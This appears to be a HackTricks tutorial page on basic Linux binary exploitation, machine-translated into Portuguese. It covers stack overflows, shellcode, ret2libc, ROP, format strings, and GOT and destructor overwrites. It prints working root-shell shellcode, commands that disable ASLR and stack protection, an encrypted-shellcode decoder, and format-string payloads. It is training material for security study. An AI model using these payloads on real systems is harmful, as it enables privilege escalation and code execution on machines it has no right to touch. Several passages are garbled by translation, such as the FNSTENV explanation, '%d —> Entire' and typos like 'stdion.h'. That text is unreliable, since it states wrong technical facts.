hacktricks/exploiting/linux-exploiting-basic-esp/README.md

54 KiB
Raw Blame History

Linux Exploiting (Básico) (SPA)

Linux Exploiting (Básico) (SPA)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ASLR

Aleatorização de endereços

Desativar aleatorização (ASLR) GLOBAL (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space

Desativar para uma execução (não requer root):
setarch `arch` -R ./exemplo argumentos
setarch `uname -m` -R ./exemplo argumentos

Desativar proteção de execução na pilha
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo

Arquivo core
ulimit -c unlimited
gdb /exec arquivo_core
/etc/security/limits.conf -> * soft core unlimited

Texto
Dados
BSS
Heap

Pilha

Seção BSS: Variáveis globais ou estáticas não inicializadas

static int i;

Seção DATA: Variáveis globais ou estáticas inicializadas

int i = 5;

Seção TEXT: Instruções de código (opcodes)

Seção HEAP: Buffers alocados dinamicamente (malloc(), calloc(), realloc())

Seção STACK: A pilha (argumentos passados, strings de ambiente (env), variáveis locais...)

1. ESTOUROS DE PILHA

estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha

Falha de segmentação ou violação de segmento: quando se tenta acessar um endereço de memória que não foi atribuído ao processo.

Para obter o endereço de uma função dentro de um programa, pode-se fazer:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Chamada para sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento para passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall

nasm -f elf assembly.asm —> Retorna um .o
ld assembly.o -o shellcodeout —> Dá-nos um executável formado pelo código assembly e podemos obter os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para verificarmos se é realmente a nossa shellcode e obtermos os OpCodes

Verificar se a shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
            void (*fp) (void);
            fp = (void *)shellcode;
            fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

To verify that system calls are being made correctly, the previous program must be compiled and the system calls must appear in strace ./COMPILED_PROGRAM

When creating shellcodes, a trick can be performed. The first instruction is a jump to a call. The call calls the original code and also puts the EIP on the stack. After the call instruction, we have inserted the string we need, so with that EIP we can point to the string and also continue executing the code.

EXAMPLE TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax            
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ usando o Stack (/bin/sh):

Neste exercício, vamos explorar uma vulnerabilidade de estouro de buffer em um programa que usa a função strcpy() sem verificar o tamanho do buffer de destino. Vamos aproveitar essa vulnerabilidade para injetar um shellcode no programa e obter um shell de root.

O programa vulnerável é um programa simples que copia a entrada do usuário para um buffer usando a função strcpy(). O buffer tem um tamanho fixo de 64 bytes, mas a função strcpy() não verifica o tamanho do buffer de destino, o que permite que o usuário insira mais de 64 bytes e cause um estouro de buffer.

Nosso objetivo é explorar essa vulnerabilidade para injetar um shellcode no programa e obter um shell de root. Para fazer isso, vamos usar um shellcode que executa o comando /bin/sh e injetá-lo no buffer de entrada do programa. Quando o programa executa o shellcode, ele executa o comando /bin/sh e nos dá um shell de root.

Este exercício é um exemplo básico de como explorar uma vulnerabilidade de estouro de buffer e injetar um shellcode em um programa vulnerável. É importante lembrar que a exploração de vulnerabilidades em sistemas ou aplicativos sem autorização é ilegal e pode resultar em consequências graves.

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

A instrução FNSTENV é usada para armazenar o estado atual do coprocessador em uma variável de ambiente. O registrador ESP é usado para apontar para a variável de ambiente. O tamanho da variável de ambiente é de 28 bytes. A instrução EJ FNSTENV é usada para armazenar o estado atual do coprocessador em uma variável de ambiente e, em seguida, pular para o endereço especificado.

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

O Egg Hunter é um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procurando por alguma assinatura colocada na shellcode). É útil nos casos em que há apenas um pequeno espaço para injetar código.

Shellcodes polimórficos

São shells criptografadas que possuem um pequeno código que as descriptografa e salta para ela, usando o truque de Call-Pop. Um exemplo disso seria um exemplo cifrado de César:

global _start
_start:
            jmp short magic
init:
            pop     esi
            xor      ecx, ecx
            mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
            sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
            sub     cl, 1
            jnz       desc
            jmp     short sc
magic:
            call init
sc:
            ;Aquí va el shellcode
  1. Atacando o Frame Pointer (EBP)

Útil em uma situação em que podemos modificar o EBP, mas não o EIP.

Sabe-se que ao sair de uma função, o seguinte código em assembly é executado:

movl               %ebp, %esp
popl                %ebp
ret

Desta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado.

Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja a direção da shellcode + 4 (é necessário somar 4 por causa do pop). Assim, ao sair da função, o valor de &(&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para a direção da shellcode quando o ret for executado.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(&Shellcode)+4

Exploit Off-by-One
Permite modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que guarda a direção da shellcode deve compartilhar os 3 primeiros bytes com o EBP.

4. Métodos return to Libc

Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar.

O ASLR faz com que em cada execução as funções sejam carregadas em posições distintas da memória. Portanto, este método pode não ser efetivo nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil.

  • cdecl (C declaration) Coloca os argumentos no stack e após sair da função limpa a pilha
  • stdcall (standard call) Coloca os argumentos na pilha e é a função chamada que a limpa
  • fastcall Coloca os dois primeiros argumentos em registradores e o resto na pilha

Coloca-se o endereço da instrução system de libc e passa-se como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, usa-se o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs).

export SHELL=/bin/sh

Para encontrar os endereços que precisamos, pode-se olhar dentro do GDB:
p system
p exit
rabin2 -i executável —> Dá o endereço de todas as funções que o programa usa ao carregar
(Dentro de um start ou algum breakpoint): x/500s $esp —> Procuramos aqui a string /bin/sh

Uma vez que tenhamos esses endereços, o exploit ficaria assim:

“A” * DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de system (sobrescreverá o EIP) + Endereço de exit (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “/bin/sh” (será o parâmetro passado para system)

Desta forma, o EIP será sobrescrito com o endereço de system, que receberá como parâmetro a string “/bin/sh” e, ao sair dele, executará a função exit().

É possível encontrar-se na situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4).

Este método funciona porque, ao chamar uma função como system usando o opcode ret em vez de call, a função entende que os primeiros 4 bytes serão o endereço EIP para o qual voltar.

Uma técnica interessante com este método é chamar strncpy() para mover um payload do stack para o heap e posteriormente usar gets() para executar esse payload.

Outra técnica interessante é o uso de mprotect(), que permite atribuir as permissões desejadas a qualquer parte da memória. Serve ou servia em BDS, MacOS e OpenBSD, mas não em linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, pode-se reconfigurar o stack como executável.

Encadeamento de funções

Com base na técnica anterior, esta forma de exploit consiste em:
Preenchimento + &Função1 + &pop;ret; + &arg_fun1 + &Função2 + &pop;ret; + &arg_fun2 + …

Desta forma, podem-se encadear funções a serem chamadas. Além disso, se quiser usar funções com vários argumentos, pode-se colocar os argumentos necessários (por exemplo, 4) e colocar os 4 argumentos e procurar o endereço em um local com opcodes: pop, pop, pop, pop, ret —> objdump -d executável

Encadeamento por falsificação de frames (encadeamento de EBPs)

Consiste em aproveitar o poder de manipular o EBP para ir encadeando a execução de várias funções através do EBP e de "leave;ret"

PREENCHIMENTO

  • Coloca-se no EBP um EBP falso que aponta para: 2º EBP_falso + a função a ser executada: (&system() + &leave;ret + &“/bin/sh”)
  • No EIP, coloca-se como endereço uma função &(leave;ret)

Inicia-se a shellcode com o endereço da próxima parte da shellcode, por exemplo: 2ºEBP_falso + &system() + &(leave;ret;) + &”/bin/sh”

o 2ºEBP seria: 3ºEBP_falso + &system() + &(leave;ret;) + &”/bin/ls”

Esta shellcode pode ser repetida indefinidamente nas partes da memória às quais se tenha acesso, de forma que se conseguirá uma shellcode facilmente divisível por pequenos pedaços de memória.

(Encadeia a execução de funções misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib)

5. Métodos complementares

Ret2Ret

Útil quando não se pode colocar um endereço do stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não se pode calcular a localização da shellcode. Mas, a função vulnerável aceita um parâmetro (a shellcode irá aqui).

Desta forma, ao mudar o EIP por um endereço de um ret, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada.

O exploit ficaria assim: SHELLCODE + Preenchimento (até EIP) + &ret (os próximos bytes da pilha apontam para o início da shellcode, pois a direção do parâmetro passado é colocada no stack)

Parece que funções como strncpy uma vez completas eliminam da pilha o endereço onde a shellcode estava armazenada, impossibilitando esta técnica. Ou seja, o endereço que passam para a função como argumento (o que guarda a shellcode) é modificado por um 0x00, de modo que, ao chamar o segundo ret, encontra um 0x00 e o programa morre.

        **Ret2PopRet**

Se não tivermos controle sobre o primeiro argumento, mas sim sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço para pop-ret ou pop-pop-ret, dependendo do que precisamos.

Técnica de Murat

No Linux, todos os programas são mapeados começando em 0xbfffffff.

Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta pode então ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode)

Desta forma, a variável de ambiente com a shellcode pode ser facilmente obtida.

Isso é possível graças à função execle, que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas.

Jump to ESP: Estilo Windows

Devido ao fato de o ESP sempre apontar para o início da pilha, esta técnica consiste em substituir o EIP pelo endereço de uma chamada a jmp esp ou call esp. Dessa forma, a shellcode é salva após a sobrescrita do EIP, já que após a execução do ret, o ESP estará apontando para o endereço seguinte, exatamente onde a shellcode foi salva.

Caso o ASLR não esteja ativado no Windows ou no Linux, é possível chamar jmp esp ou call esp armazenados em algum objeto compartilhado. Caso o ASLR esteja ativado, é possível procurar dentro do próprio programa vulnerável.

Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop que são executadas no meio da função não toquem na shellcode (o que poderia ocorrer se ela fosse colocada no meio da pilha da função).

De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar call eax ou jmp eax (ret2eax).

ROP (Programação Orientada a Retorno) ou pedaços de código emprestados

Os pedaços de código que são invocados são conhecidos como gadgets.

Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica ret2libc e o uso de pop,ret.

Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo:

movl $0xe4ff, -0x(%ebp) —> Contém os bytes 0xffe4, que também são traduzidos como: jmp *%esp

Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original.

ROPgadget.py ajuda a encontrar valores em binários.

Este programa também serve para criar os payloads. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, ao qual você fornece o endereço em que a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como usa chamadas de sistema, ele não executa nada na pilha, apenas vai salvando endereços de ROPs que serão executados por meio de ret. Para usar esse payload, é necessário chamá-lo por meio de uma instrução ret.

Estouro de inteiros

Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado para ela, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.

Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é unsigned int e será muito grande.

Esse tipo de overflow não busca escrever algo no processo do programa, mas sim superar filtros mal projetados para explorar outras vulnerabilidades.

Variáveis não inicializadas

Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que esta seja controlada pelo atacante.

Format Strings

Em C, printf é uma função que pode ser usada para imprimir uma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores do texto bruto.

A vulnerabilidade aparece quando um texto do atacante é colocado como primeiro argumento para essa função. O atacante poderá criar uma entrada especial abusando das capacidades de formatação do printf para escrever qualquer dado em qualquer endereço. Dessa forma, é possível executar código arbitrário.

Formatadores:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n escreve o número de bytes escritos no endereço indicado. Escrever tantos bytes quanto o número hexadecimal que precisamos escrever é como podemos escrever qualquer dado.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

**GOT (Tabela Global de Deslocamentos) / PLT (**Tabela de Ligação de Procedimentos)

Esta é a tabela que contém o endereço das funções externas usadas pelo programa.

Obtenha o endereço desta tabela com: objdump -s -j .got ./exec

Observe como depois de carregar o executável no GEF você pode ver as funções que estão na GOT: gef➤ x/20x 0xDIR_GOT

Usando o GEF você pode iniciar uma sessão de depuração e executar got para ver a tabela got:

Em um binário, a GOT tem os endereços das funções ou da seção PLT que carregará o endereço da função. O objetivo deste exploit é substituir a entrada GOT de uma função que será executada mais tarde pelo endereço do PLT da função system. Idealmente, você irá substituir a GOT de uma função que está prestes a ser chamada com parâmetros controlados por você (para que você possa controlar os parâmetros enviados para a função do sistema).

Se system não for usada pelo script, a função do sistema não terá uma entrada na GOT. Nesse cenário, você precisará vazar primeiro o endereço da função system.

A Tabela de Ligação de Procedimentos é uma tabela somente leitura no arquivo ELF que armazena todos os símbolos necessários que precisam de resolução. Quando uma dessas funções é chamada, a GOT irá redirecionar o fluxo para o PLT para que ele possa resolver o endereço da função e escrevê-lo na GOT.
Então, na próxima vez que uma chamada for realizada para esse endereço, a função é chamada diretamente sem precisar resolvê-la.

Você pode ver os endereços PLT com objdump -j .plt -d ./vuln_binary

Fluxo de Exploração

Como explicado anteriormente, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada posteriormente. Idealmente, poderíamos definir o endereço para um shellcode localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.
Então, uma opção diferente é sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system.

Para escrever o endereço, geralmente são feitos 2 passos: você primeiro escreve 2Bytes do endereço e depois os outros 2. Para fazer isso, é usado $hn.

HOB é chamado para os 2 bytes mais altos do endereço
LOB é chamado para os 2 bytes mais baixos do endereço

Então, por causa de como a string de formato funciona, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.

Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Modelo de Exploração de String de Formato

Você pode encontrar um modelo para explorar a GOT usando strings de formato aqui:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essencialmente, esta é uma estrutura com funções que serão chamadas antes que o programa termine. Isso é interessante se você puder chamar seu shellcode apenas pulando para um endereço, ou em casos em que você precisa voltar para o main novamente para explorar a string de formato uma segunda vez.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
 8049934 a0850408

#Put your address in 0x8049934

Observe que isso não criará um loop eterno porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Então, com isso, você poderá ter mais uma execução da vulnerabilidade.

Strings de formato para extrair conteúdo

Uma string de formato também pode ser usada para extrair conteúdo da memória do programa.
Por exemplo, na seguinte situação, há uma variável local na pilha apontando para uma flag. Se você encontrar onde na memória o ponteiro para a flag está, você pode fazer com que o printf acesse esse endereço e imprima a flag:

Então, a flag está em 0xffffcf4c

E a partir do vazamento, você pode ver que o ponteiro para a flag está no parâmetro:

Então, acessando o 8º parâmetro, você pode obter a flag:

Observe que, seguindo o exploit anterior e percebendo que você pode vazar conteúdo, você pode definir ponteiros para o printf na seção onde o executável é carregado e extrair tudo inteiramente!

DTOR

{% hint style="danger" %} Hoje em dia é muito incomum encontrar um binário com uma seção dtor. {% endhint %}

Os destrutores são funções que são executadas antes do programa terminar.
Se você conseguir escrever um endereço para um shellcode em __DTOR_END__, isso será executado antes que o programa termine.
Obtenha o endereço desta seção com:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Normalmente, você encontrará a seção DTOR entre os valores ffffffff e 00000000. Portanto, se você apenas vir esses valores, significa que não há nenhuma função registrada. Então, sobrescreva o 00000000 com o endereço do shellcode para executá-lo.

Strings de formato para estouro de buffer

O sprintf move uma string formatada para uma variável. Portanto, você pode abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado. Por exemplo, a carga útil %.44xAAAA irá escrever 44B+"AAAA" na variável, o que pode causar um estouro de buffer.

Estruturas __atexit

{% hint style="danger" %} Atualmente é muito estranho explorar isso. {% endhint %}

Atexit() é uma função para a qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit() ou o retorno do main.
Se você pode modificar o endereço de qualquer uma dessas funções para apontar para um shellcode, por exemplo, você ganhará controle do processo, mas isso é atualmente mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente, esse vetor de ataque é pouco útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a criptografia porque retornam o mesmo que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.

setjmp() & longjmp()

{% hint style="danger" %} Atualmente é muito estranho explorar isso. {% endhint %}

Setjmp() permite salvar o contexto (os registradores)
Longjmp() permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela função PTR_MANGLE, então a arquitetura vulnerável a esse ataque é a mesma que acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não são protegidos, então se houver um call ebx, call esi ou call edi dentro da função sendo chamada, o controle pode ser assumido. Ou você também pode modificar EBP para modificar o ESP.

VTable e VPTR em C++

Cada classe tem uma Vtable que é uma matriz de ponteiros para métodos.

Cada objeto de uma classe tem um VPtr que é um ponteiro para a matriz de sua classe. O VPtr faz parte do cabeçalho de cada objeto, portanto, se uma sobrescrita do VPtr for alcançada, ela poderá ser modificada para apontar para um método fictício, para que a execução de uma função vá para o shellcode.

Medidas preventivas e evasões

ASLR não tão aleatório

O PaX divide o espaço de endereços do processo em 3 grupos:

Código e dados iniciados e não iniciados: .text, .data e .bss —> 16 bits de entropia na variável delta_exec, essa variável é iniciada aleatoriamente com cada processo e é adicionada aos endereços iniciais

Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, delta_mmap

O stack —> 24 bits, delta_stack —> Realmente 11 (do byte 10º ao 20º inclusive) —>alinhado a 16 bytes —> 524.288 possíveis endereços reais do stack

As variáveis de ambiente e os argumentos são deslocados menos que um buffer no stack.

Return-into-printf

É uma técnica para transformar um estouro de buffer em um erro de string de formato. Consiste em substituir o EIP para que aponte para um printf da função e passar como argumento uma string de formato manipulada para obter valores sobre o estado do processo.

Ataque a bibliotecas

As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, pode-se tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de forma que quando demorar mais do que o normal para responder, essa função será encontrada. Sabendo onde está essa função, pode-se obter delta_mmap e calcular as outras.

A única maneira de ter certeza de que o ASLR funciona é usando a arquitetura de 64 bits. Lá não há ataques de força bruta.

StackGuard e StackShield

StackGuard insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP

StackShield é mais elaborado que o StackGuard

Armazena em uma tabela (Global Return Stack) todos os endereços EIP de retorno para que o estouro não cause nenhum dano. Além disso, ambas as direções podem ser comparadas para ver se houve um estouro.

Também é possível verificar o endereço de retorno com um valor limite, assim, se o EIP for para um local diferente do habitual, como o espaço de dados, será conhecido. Mas isso é contornado com Ret-to-lib, ROPs ou ret2ret.

Como pode ser visto, o stackshield também não protege as variáveis locais.

Stack Smash Protector (ProPolice) -fstack-protector

O canário é colocado antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, portanto, não possam sobrescrever outras variáveis.

Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos.

Não pode proteger matrizes com menos de 8 elementos ou buffers que fazem parte de uma estrutura do usuário.

O canário é um número aleatório retirado de "/dev/urandom" ou, caso contrário, é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, eles são copiados do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que se o fork() for usado, mas não for criado um novo canário, todos os processos (pai e filhos) usarão o mesmo canário. No i386, é armazenado em gs:0x14 e no x86_64, é armazenado em fs:0x28

Essa proteção localiza funções que têm buffer que podem ser atacados e inclui no início da função código para colocar o canário e código no final para verificá-lo.

A função fork() realiza uma cópia exata do processo pai, por isso, se um servidor da web chamar fork(), pode-se fazer um ataque de força bruta byte a byte até descobrir o canário que está sendo usado.

Se a função execve() for usada após o fork(), o espaço será sobrescrito e o ataque não será mais possível

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
  0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sem relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
